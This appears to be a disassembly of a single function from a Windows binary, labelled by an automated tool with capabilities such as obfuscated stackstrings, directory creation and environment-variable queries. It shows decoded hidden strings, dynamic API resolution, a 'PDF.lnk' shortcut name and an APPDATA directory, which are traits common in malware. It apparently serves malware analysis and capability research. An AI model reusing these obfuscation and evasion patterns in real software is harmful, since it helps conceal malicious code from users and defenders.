Function at 0x402f40
Capabilities:
Contain obfuscated stackstrings
Create directory
Query environment variable

Disassembly:
push edi
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 8]
and esp, 0xfffffff0
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x324]
lea esi, [ebp - 0x11c]
push ebx
lea edx, [ebp - 0x4f0]
sub esp, 0x54c
movdqu xmm0, xmmword [0x4bf310]
mov dword [ebp - 0x4e0], 0x72666e4d
rep stosd dword es:[edi], eax
mov eax, esi
mov ecx, 0x14
movups xmmword [ebp - 0x4f0], xmm0
call fcn.004019a0
mov eax, dword [ebp - 0x11c]
mov ebx, dword [sym.imp.msvcrt.dll_strcat_s]
mov dword [esp + 4], 0x104
mov dword [esp + 8], eax
lea eax, [ebp - 0x324]
mov dword [esp], eax
call ebx
mov ecx, esi
call fcn.0049dd80
mov eax, esi
mov ecx, 0xc
lea edx, [ebp - 0x51c]
mov dword [ebp - 0x51c], 0x6f73646a
mov dword [ebp - 0x518], 0x33326d64
mov dword [ebp - 0x514], 0x6d6d652f
call fcn.004019a0
mov eax, dword [ebp - 0x11c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov edi, eax
mov ecx, esi
call fcn.0049dd80
test edi, edi
je 0x4036e3
movdqu xmm1, xmmword [0x4bf320]
mov eax, esi
mov ecx, 0x10
lea edx, [ebp - 0x510]
movups xmmword [ebp - 0x510], xmm1
call fcn.004019a0
mov eax, dword [ebp - 0x11c]
mov dword [esp], edi
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov ecx, esi
mov edi, eax
call fcn.0049dd80
lea eax, [ebp - 0x324]
mov dword [esp + 4], 0
mov dword [esp], eax
call edi
xor eax, eax
lea edi, [ebp - 0x220]
mov ecx, 0x41
rep stosd dword es:[edi], eax
mov edi, esi
sub esp, 8
mov ecx, 0x41
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x324]
mov dword [ebp - 0x52d], 0x7164755d
mov dword [ebp - 0x529], 0x6479642f
mov dword [esp + 8], eax
lea eax, [ebp - 0x220]
mov dword [esp + 4], 0x104
mov dword [esp], eax
call ebx
lea eax, [ebp - 0x41c]
mov ecx, 8
lea edx, [ebp - 0x52d]
call fcn.004019a0
mov eax, dword [ebp - 0x41c]
mov dword [esp + 4], 0x104
mov dword [esp + 8], eax
lea eax, [ebp - 0x220]
mov dword [esp], eax
call ebx
lea ecx, [ebp - 0x41c]
call fcn.0049dd80
lea eax, [ebp - 0x324]
mov dword [ebp - 0x525], 0x7560455d
mov dword [ebp - 0x521], 0x64732f60
mov byte [ebp - 0x51d], 0x72
mov dword [esp + 8], eax
mov dword [esp + 4], 0x104
mov dword [esp], esi
call ebx
lea eax, [ebp - 0x41c]
mov ecx, 9
lea edx, [ebp - 0x525]
call fcn.004019a0
mov eax, dword [ebp - 0x41c]
mov dword [esp], esi
mov dword [esp + 4], 0x104
mov dword [esp + 8], eax
call ebx
lea ecx, [ebp - 0x41c]
call fcn.0049dd80
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x4dc]
mov dword [esp], eax
call fcn.00401e70
lea ecx, [ebp - 0x41c]
sub esp, 4
mov dword [esp + 4], 8
mov eax, dword [ebp - 0x4dc]
mov dword [esp], eax
call fcn.0048ec90
mov ecx, dword [ebp - 0x398]
sub esp, 8
test ecx, ecx
je 0x40347c
cmp byte [0x51703c], 0
lea ebx, [ebp - 0x47c]
jne 0x403492
movdqu xmm2, xmmword [0x4bf2f0]
mov edx, 0x6f68
lea eax, [ebp - 0x220]
mov ecx, ebx
movdqu xmm3, xmmword [0x4bf330]
mov byte [ebp - 0x444], 0x64
movdqu xmm5, xmmword [0x4bf340]
mov word [ebp - 0x420], dx
movups xmmword [ebp - 0x464], xmm2
movups xmmword [ebp - 0x454], xmm3
movups xmmword [ebp - 0x440], xmm2
movups xmmword [ebp - 0x430], xmm5
mov dword [esp], eax
call fcn.00401e70
lea eax, [ebp - 0x4ac]
sub esp, 4
mov ecx, 0x21
lea edx, [ebp - 0x464]
mov dword [ebp - 0x53c], eax
call fcn.004019a0
mov eax, dword [ebp - 0x4ac]
lea edi, [ebp - 0x494]
mov ecx, edi
mov dword [esp], eax
call fcn.00401e70
sub esp, 4
mov edx, ebx
mov eax, edi
call fcn.00402490
mov ecx, edi
call fcn.0049dd80
mov ecx, dword [ebp - 0x53c]
call fcn.0049dd80
mov ecx, ebx
call fcn.0049dd80
mov dword [esp], esi
mov ecx, ebx
call fcn.00401e70
mov esi, dword [ebp - 0x53c]
sub esp, 4
mov ecx, 0x22
lea edx, [ebp - 0x440]
mov eax, esi
call fcn.004019a0
mov eax, dword [ebp - 0x4ac]
mov ecx, edi
mov dword [esp], eax
call fcn.00401e70
sub esp, 4
mov edx, ebx
mov eax, edi
call fcn.00402490
mov ecx, edi
call fcn.0049dd80
mov ecx, esi
call fcn.0049dd80
mov ecx, ebx
call fcn.0049dd80
lea eax, [ebp - 0x4c4]
mov dword [esp], str.PDF.lnk
mov ecx, dword [0x517098]
mov dword [ebp - 0x544], eax
mov edx, dword [0x517094]
call fcn.00401df0
lea edx, [ebp - 0x324]
mov ecx, ebx
mov dword [esp], edx
call fcn.00401e70
sub esp, 4
mov ecx, edi
mov dword [esp], 0x4bf09a
call fcn.00401e70
sub esp, 4
lea edx, [ebp - 0x220]
mov ecx, esi
mov dword [esp], edx
call fcn.00401e70
mov eax, dword [ebp - 0x544]
sub esp, 4
mov ecx, ebx
mov edx, edi
mov dword [esp], eax
mov eax, esi
call fcn.00401a70
mov ecx, esi
call fcn.0049dd80
mov ecx, edi
call fcn.0049dd80
mov ecx, ebx
call fcn.0049dd80
mov ecx, 0xd
mov edx, edi
mov eax, ebx
mov dword [ebp - 0x490], 0x73555e6d
mov dword [ebp - 0x494], 0x6d646952
mov dword [ebp - 0x48f], 0x6073555e
mov dword [ebp - 0x48b], 0x656f5678
call fcn.004019a0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x47c]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_FindWindowA]
sub esp, 8
mov ecx, ebx
mov esi, eax
call fcn.0049dd80
mov eax, dword [ebp - 0x4c4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
sub esp, 4
mov ebx, eax
mov edi, dword [sym.imp.USER32.dll_PostMessageA]
mov dword [esp + 0xc], 0
movzx eax, word [0x5170ac]
mov dword [esp + 4], 0x4ea
mov dword [esp + 8], eax
mov dword [esp], esi
call edi
mov edx, dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x10
mov dword [esp], 0xbb8
mov dword [ebp - 0x53c], edx
call edx
sub esp, 4
movzx eax, bx
mov word [ebp - 0x540], bx
mov dword [esp + 0xc], eax
movzx eax, word [0x5170ac]
mov dword [esp + 4], 0x4e9
mov dword [esp + 8], eax
mov dword [esp], esi
call edi
sub esp, 0x10
xor ebx, ebx
cmp word [ebp - 0x540], 0
je 0x4036c2
lea esi, [esi]
movzx eax, word [0x5170ac]
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x312
mov dword [esp + 0xc], eax
mov dword [esp], esi
call edi
sub esp, 0x10
mov dword [esp], 0x3e8
mov eax, dword [ebp - 0x53c]
call eax
add ebx, 1
sub esp, 4
cmp ebx, 0xa
jne 0x403428
mov dword [esp], 0x12c
mov eax, dword [ebp - 0x53c]
call eax
push eax
mov ecx, dword [ebp - 0x544]
call fcn.0049dd80
lea ecx, [ebp - 0x41c]
call fcn.0048f590
lea ecx, [ebp - 0x4dc]
call fcn.0049dd80
lea eax, [ebp - 0x4bc]
mov edx, dword [0x517080]
lea edi, [ebp - 0x4c4]
mov dword [ebp - 0x4c4], eax
mov eax, dword [0x51707c]
mov ecx, edi
mov dword [ebp - 0x544], edi
add edx, eax
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00401920
push edx
mov ecx, edi
push edx
mov dword [esp + 8], 2
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x4bf17d
call fcn.004327f0
sub esp, 0xc
cmp eax, 0xffffffff
je 0x4036ef
lea edi, [ebp - 0x440]
add eax, 1
mov dword [ebp - 0x540], edi
mov ecx, edi
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], eax
mov ebx, dword [ebp - 0x544]
mov dword [esp], ebx
call fcn.00433310
sub esp, 0xc
mov ecx, ebx
mov dword [esp], edi
call fcn.00401f60
mov ecx, edi
push eax
call fcn.0049dd80
mov edi, dword [ebp - 0x540]
mov ecx, 0x10
movdqu xmm6, xmmword [0x4bf310]
lea edx, [ebp - 0x500]
mov eax, edi
movups xmmword [ebp - 0x500], xmm6
call fcn.004019a0
lea eax, [ebp - 0x4ac]
mov ebx, eax
mov eax, dword [ebp - 0x4c0]
mov dword [esp], eax
mov ecx, dword [ebp - 0x4c4]
mov eax, ebx
mov dword [ebp - 0x53c], ebx
mov edx, dword [ebp - 0x440]
call fcn.00401e30
mov ecx, edi
mov dword [ebp - 0x540], edi
lea edi, [ebp - 0x494]
call fcn.0049dd80
mov dword [esp], str.appdata
call sub.msvcrt.dll_getenv
mov ecx, edi
mov dword [esp], eax
call fcn.00401e70
push eax
lea edx, [ebp - 0x464]
mov eax, edx
call fcn.004020b0
mov dword [esp], 0x4bf0a0
lea ebx, [ebp - 0x47c]
mov ecx, dword [ebp - 0x490]
mov edx, dword [ebp - 0x494]
mov eax, ebx
call fcn.00401df0
lea edx, [ebp - 0x464]
mov eax, dword [ebp - 0x540]
mov ecx, edx
mov edx, ebx
call fcn.00402000
mov edx, dword [ebp - 0x540]
mov ecx, 0x517094
mov dword [esp], edx
call fcn.00401f60
push eax
mov ecx, dword [ebp - 0x540]
call fcn.0049dd80
mov ecx, ebx
call fcn.0049dd80
lea ecx, [ebp - 0x464]
call fcn.0049dd80
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [0x517094]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
push eax
call fcn.004028a0
mov dword [esp], 0x4bf188
mov ecx, dword [0x517098]
mov edx, dword [0x517094]
mov eax, dword [ebp - 0x540]
call fcn.00401df0
mov dword [esp], 0x4bf09a
lea ecx, [ebp - 0x464]
call fcn.00401e70
push ecx
mov edx, dword [ebp - 0x540]
mov ecx, 0x517094
mov dword [esp], edx
mov eax, dword [ebp - 0x53c]
lea edx, [ebp - 0x464]
call fcn.00401a70
lea ecx, [ebp - 0x464]
call fcn.0049dd80
mov ecx, dword [ebp - 0x540]
call fcn.0049dd80
mov ecx, edi
call fcn.0049dd80
mov ecx, dword [ebp - 0x53c]
call fcn.0049dd80
mov ecx, dword [ebp - 0x544]
call fcn.0049dd80
jmp 0x4031b2
mov ecx, dword [ebp - 0x544]
call fcn.0049dd80
lea ecx, [ebp - 0x41c]
call fcn.0048f590
lea ecx, [ebp - 0x4dc]
call fcn.0049dd80
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret
lea eax, [ebp - 0x440]
mov dword [ebp - 0x540], eax
jmp 0x403531